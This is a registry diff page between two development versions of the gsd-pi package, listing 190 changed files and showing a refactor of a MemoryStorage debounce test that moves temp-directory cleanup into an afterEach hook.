gsd-pi 2.44.0-dev.62b5d6c → 2.44.0-dev.848dd4c

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (190) hide show
  1. package/README.md +30 -12
  2. package/dist/resources/extensions/gsd/auto-start.js +10 -0
  3. package/dist/resources/extensions/gsd/commands/handlers/workflow.js +5 -0
  4. package/dist/web/standalone/.next/BUILD_ID +1 -1
  5. package/dist/web/standalone/.next/app-path-routes-manifest.json +18 -18
  6. package/dist/web/standalone/.next/build-manifest.json +2 -2
  7. package/dist/web/standalone/.next/prerender-manifest.json +3 -3
  8. package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
  9. package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
  10. package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
  11. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
  12. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
  13. package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
  14. package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
  15. package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  16. package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
  17. package/dist/web/standalone/.next/server/app/_not-found.rsc +1 -1
  18. package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +1 -1
  19. package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
  20. package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +1 -1
  21. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
  22. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
  23. package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
  24. package/dist/web/standalone/.next/server/app/index.html +1 -1
  25. package/dist/web/standalone/.next/server/app/index.rsc +1 -1
  26. package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +1 -1
  27. package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +1 -1
  28. package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
  29. package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +1 -1
  30. package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +1 -1
  31. package/dist/web/standalone/.next/server/app-paths-manifest.json +18 -18
  32. package/dist/web/standalone/.next/server/pages/404.html +1 -1
  33. package/dist/web/standalone/.next/server/pages/500.html +2 -2
  34. package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
  35. package/package.json +1 -1
  36. package/packages/pi-coding-agent/dist/core/auth-storage.test.js +6 -8
  37. package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
  38. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +24 -26
  39. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
  40. package/packages/pi-coding-agent/dist/core/fs-utils.test.js +29 -48
  41. package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
  42. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +34 -44
  43. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
  44. package/packages/pi-coding-agent/dist/core/session-manager.test.js +30 -34
  45. package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
  46. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +10 -12
  47. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
  48. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +43 -47
  49. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
  50. package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
  51. package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
  52. package/packages/pi-coding-agent/src/core/fs-utils.test.ts +31 -43
  53. package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +40 -45
  54. package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
  55. package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
  56. package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
  57. package/src/resources/extensions/gsd/auto-start.ts +14 -0
  58. package/src/resources/extensions/gsd/commands/handlers/workflow.ts +8 -0
  59. package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
  60. package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +14 -16
  61. package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +43 -57
  62. package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +11 -13
  63. package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +465 -523
  64. package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +73 -75
  65. package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +34 -56
  66. package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +533 -656
  67. package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +165 -143
  68. package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +29 -52
  69. package/src/resources/extensions/gsd/tests/captures.test.ts +148 -176
  70. package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +32 -33
  71. package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +141 -143
  72. package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
  73. package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
  74. package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +38 -59
  75. package/src/resources/extensions/gsd/tests/complete-slice.test.ts +228 -263
  76. package/src/resources/extensions/gsd/tests/complete-task.test.ts +250 -302
  77. package/src/resources/extensions/gsd/tests/context-store.test.ts +354 -367
  78. package/src/resources/extensions/gsd/tests/continue-here.test.ts +68 -72
  79. package/src/resources/extensions/gsd/tests/cost-projection.test.ts +92 -106
  80. package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +27 -35
  81. package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +220 -237
  82. package/src/resources/extensions/gsd/tests/db-writer.test.ts +390 -420
  83. package/src/resources/extensions/gsd/tests/definition-loader.test.ts +76 -92
  84. package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +68 -83
  85. package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +152 -183
  86. package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +78 -101
  87. package/src/resources/extensions/gsd/tests/derive-state.test.ts +192 -227
  88. package/src/resources/extensions/gsd/tests/detection.test.ts +232 -278
  89. package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +30 -34
  90. package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +164 -180
  91. package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +43 -49
  92. package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +28 -32
  93. package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +27 -29
  94. package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +34 -38
  95. package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +54 -75
  96. package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +21 -32
  97. package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +72 -97
  98. package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +38 -44
  99. package/src/resources/extensions/gsd/tests/doctor-git.test.ts +104 -145
  100. package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +84 -106
  101. package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +54 -60
  102. package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +72 -93
  103. package/src/resources/extensions/gsd/tests/doctor.test.ts +104 -134
  104. package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +123 -131
  105. package/src/resources/extensions/gsd/tests/exit-command.test.ts +20 -24
  106. package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +48 -57
  107. package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +5 -7
  108. package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +30 -42
  109. package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +198 -206
  110. package/src/resources/extensions/gsd/tests/git-locale.test.ts +13 -27
  111. package/src/resources/extensions/gsd/tests/git-service.test.ts +285 -388
  112. package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +31 -39
  113. package/src/resources/extensions/gsd/tests/graph-operations.test.ts +63 -69
  114. package/src/resources/extensions/gsd/tests/gsd-db.test.ts +255 -264
  115. package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +108 -119
  116. package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +81 -103
  117. package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +229 -262
  118. package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
  119. package/src/resources/extensions/gsd/tests/health-widget.test.ts +29 -37
  120. package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +81 -102
  121. package/src/resources/extensions/gsd/tests/init-wizard.test.ts +16 -18
  122. package/src/resources/extensions/gsd/tests/integration-edge.test.ts +41 -46
  123. package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +42 -53
  124. package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +75 -91
  125. package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
  126. package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +150 -194
  127. package/src/resources/extensions/gsd/tests/md-importer.test.ts +101 -125
  128. package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +45 -54
  129. package/src/resources/extensions/gsd/tests/memory-store.test.ts +80 -93
  130. package/src/resources/extensions/gsd/tests/migrate-command.test.ts +57 -66
  131. package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +83 -93
  132. package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +161 -170
  133. package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +125 -141
  134. package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +107 -131
  135. package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +87 -96
  136. package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +125 -164
  137. package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +81 -94
  138. package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +35 -36
  139. package/src/resources/extensions/gsd/tests/overrides.test.ts +99 -106
  140. package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +40 -47
  141. package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +25 -28
  142. package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +66 -83
  143. package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +54 -77
  144. package/src/resources/extensions/gsd/tests/park-milestone.test.ts +68 -115
  145. package/src/resources/extensions/gsd/tests/parsers.test.ts +546 -611
  146. package/src/resources/extensions/gsd/tests/paths.test.ts +72 -87
  147. package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +77 -117
  148. package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
  149. package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +93 -119
  150. package/src/resources/extensions/gsd/tests/queue-order.test.ts +70 -82
  151. package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +42 -55
  152. package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +100 -0
  153. package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +45 -73
  154. package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +28 -38
  155. package/src/resources/extensions/gsd/tests/replan-slice.test.ts +73 -80
  156. package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +71 -74
  157. package/src/resources/extensions/gsd/tests/requirements.test.ts +70 -75
  158. package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +44 -66
  159. package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +114 -181
  160. package/src/resources/extensions/gsd/tests/rule-registry.test.ts +63 -65
  161. package/src/resources/extensions/gsd/tests/run-uat.test.ts +66 -128
  162. package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +18 -25
  163. package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +37 -44
  164. package/src/resources/extensions/gsd/tests/shared-wal.test.ts +19 -26
  165. package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +63 -0
  166. package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +6 -8
  167. package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +22 -28
  168. package/src/resources/extensions/gsd/tests/token-savings.test.ts +54 -56
  169. package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +23 -25
  170. package/src/resources/extensions/gsd/tests/tool-naming.test.ts +9 -11
  171. package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +66 -82
  172. package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +46 -47
  173. package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +20 -22
  174. package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +84 -86
  175. package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +41 -43
  176. package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +94 -96
  177. package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +11 -13
  178. package/src/resources/extensions/gsd/tests/worker-registry.test.ts +27 -29
  179. package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +50 -52
  180. package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +10 -13
  181. package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +14 -18
  182. package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
  183. package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
  184. package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
  185. package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
  186. package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
  187. package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
  188. package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
  189. /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → -zps1Q9mQmioAKLcQiCr8}/_buildManifest.js +0 -0
  190. /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → -zps1Q9mQmioAKLcQiCr8}/_ssgManifest.js +0 -0
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, rmSync, readFileSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -11,57 +11,53 @@ function wait(ms) {
11
11
  return new Promise((resolve) => setTimeout(resolve, ms));
12
12
  }
13
13
  describe("MemoryStorage debounced persistence", () => {
14
- it("multiple rapid mutations only trigger one persist write", async () => {
15
- const dir = makeTmpDir();
16
- const dbPath = join(dir, "test.db");
17
- try {
18
- const storage = await MemoryStorage.create(dbPath);
19
- const initialStat = readFileSync(dbPath);
20
- const initialMtime = initialStat.length;
21
- storage.upsertThreads([
22
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
23
- ]);
24
- storage.upsertThreads([
25
- { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
26
- ]);
27
- storage.upsertThreads([
28
- { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
29
- ]);
30
- const afterMutationsBuf = readFileSync(dbPath);
31
- assert.deepEqual(afterMutationsBuf, initialStat, "File should not have been written yet (debounce window has not elapsed)");
32
- await wait(700);
33
- const afterDebounceBuf = readFileSync(dbPath);
34
- assert.notDeepEqual(afterDebounceBuf, initialStat, "File should have been written after debounce window elapsed");
35
- const stats = storage.getStats();
36
- assert.equal(stats.totalThreads, 3);
37
- storage.close();
38
- }
39
- finally {
14
+ let dir;
15
+ afterEach(() => {
16
+ if (dir) {
40
17
  rmSync(dir, { recursive: true, force: true });
41
18
  }
42
19
  });
20
+ it("multiple rapid mutations only trigger one persist write", async () => {
21
+ dir = makeTmpDir();
22
+ const dbPath = join(dir, "test.db");
23
+ const storage = await MemoryStorage.create(dbPath);
24
+ const initialStat = readFileSync(dbPath);
25
+ const initialMtime = initialStat.length;
26
+ storage.upsertThreads([
27
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
28
+ ]);
29
+ storage.upsertThreads([
30
+ { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
31
+ ]);
32
+ storage.upsertThreads([
33
+ { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
34
+ ]);
35
+ const afterMutationsBuf = readFileSync(dbPath);
36
+ assert.deepEqual(afterMutationsBuf, initialStat, "File should not have been written yet (debounce window has not elapsed)");
37
+ await wait(700);
38
+ const afterDebounceBuf = readFileSync(dbPath);
39
+ assert.notDeepEqual(afterDebounceBuf, initialStat, "File should have been written after debounce window elapsed");
40
+ const stats = storage.getStats();
41
+ assert.equal(stats.totalThreads, 3);
42
+ storage.close();
43
+ });
43
44
  it("close() flushes pending changes immediately without waiting for debounce", async () => {
44
- const dir = makeTmpDir();
45
+ dir = makeTmpDir();
45
46
  const dbPath = join(dir, "test.db");
46
- try {
47
- const storage = await MemoryStorage.create(dbPath);
48
- const initialBuf = readFileSync(dbPath);
49
- storage.upsertThreads([
50
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
51
- ]);
52
- const beforeCloseBuf = readFileSync(dbPath);
53
- assert.deepEqual(beforeCloseBuf, initialBuf, "File should not have been written yet (debounce window has not elapsed)");
54
- storage.close();
55
- const afterCloseBuf = readFileSync(dbPath);
56
- assert.notDeepEqual(afterCloseBuf, initialBuf, "File should have been written immediately on close()");
57
- const reopened = await MemoryStorage.create(dbPath);
58
- const stats = reopened.getStats();
59
- assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
60
- reopened.close();
61
- }
62
- finally {
63
- rmSync(dir, { recursive: true, force: true });
64
- }
47
+ const storage = await MemoryStorage.create(dbPath);
48
+ const initialBuf = readFileSync(dbPath);
49
+ storage.upsertThreads([
50
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
51
+ ]);
52
+ const beforeCloseBuf = readFileSync(dbPath);
53
+ assert.deepEqual(beforeCloseBuf, initialBuf, "File should not have been written yet (debounce window has not elapsed)");
54
+ storage.close();
55
+ const afterCloseBuf = readFileSync(dbPath);
56
+ assert.notDeepEqual(afterCloseBuf, initialBuf, "File should have been written immediately on close()");
57
+ const reopened = await MemoryStorage.create(dbPath);
58
+ const stats = reopened.getStats();
59
+ assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
60
+ reopened.close();
65
61
  });
66
62
  });
67
63
  //# sourceMappingURL=storage.test.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"storage.test.js","sourceRoot":"","sources":["../../../../src/resources/extensions/memory/storage.test.ts"],"names":[],"mappings":"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","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, mock } from \"node:test\";\nimport { mkdtempSync, rmSync, readFileSync, existsSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\n\nimport { MemoryStorage } from \"./storage.js\";\n\nfunction makeTmpDir(): string {\n\treturn mkdtempSync(join(tmpdir(), \"gsd-memory-storage-test-\"));\n}\n\nfunction wait(ms: number): Promise<void> {\n\treturn new Promise((resolve) => setTimeout(resolve, ms));\n}\n\ndescribe(\"MemoryStorage debounced persistence\", () => {\n\tit(\"multiple rapid mutations only trigger one persist write\", async () => {\n\t\tconst dir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\ttry {\n\t\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\t\tconst initialStat = readFileSync(dbPath);\n\t\t\tconst initialMtime = initialStat.length;\n\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t\t]);\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t2\", filePath: \"/b.txt\", fileSize: 200, fileMtime: 2000, cwd: \"/proj\" },\n\t\t\t]);\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t3\", filePath: \"/c.txt\", fileSize: 300, fileMtime: 3000, cwd: \"/proj\" },\n\t\t\t]);\n\n\t\t\tconst afterMutationsBuf = readFileSync(dbPath);\n\t\t\tassert.deepEqual(\n\t\t\t\tafterMutationsBuf,\n\t\t\t\tinitialStat,\n\t\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t\t);\n\n\t\t\tawait wait(700);\n\n\t\t\tconst afterDebounceBuf = readFileSync(dbPath);\n\t\t\tassert.notDeepEqual(\n\t\t\t\tafterDebounceBuf,\n\t\t\t\tinitialStat,\n\t\t\t\t\"File should have been written after debounce window elapsed\",\n\t\t\t);\n\n\t\t\tconst stats = storage.getStats();\n\t\t\tassert.equal(stats.totalThreads, 3);\n\n\t\t\tstorage.close();\n\t\t} finally {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n\n\tit(\"close() flushes pending changes immediately without waiting for debounce\", async () => {\n\t\tconst dir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\ttry {\n\t\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\t\tconst initialBuf = readFileSync(dbPath);\n\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t\t]);\n\n\t\t\tconst beforeCloseBuf = readFileSync(dbPath);\n\t\t\tassert.deepEqual(\n\t\t\t\tbeforeCloseBuf,\n\t\t\t\tinitialBuf,\n\t\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t\t);\n\n\t\t\tstorage.close();\n\n\t\t\tconst afterCloseBuf = readFileSync(dbPath);\n\t\t\tassert.notDeepEqual(\n\t\t\t\tafterCloseBuf,\n\t\t\t\tinitialBuf,\n\t\t\t\t\"File should have been written immediately on close()\",\n\t\t\t);\n\n\t\t\tconst reopened = await MemoryStorage.create(dbPath);\n\t\t\tconst stats = reopened.getStats();\n\t\t\tassert.equal(stats.totalThreads, 1, \"Data should be persisted and readable after close\");\n\t\t\treopened.close();\n\t\t} finally {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n});\n"]}
1
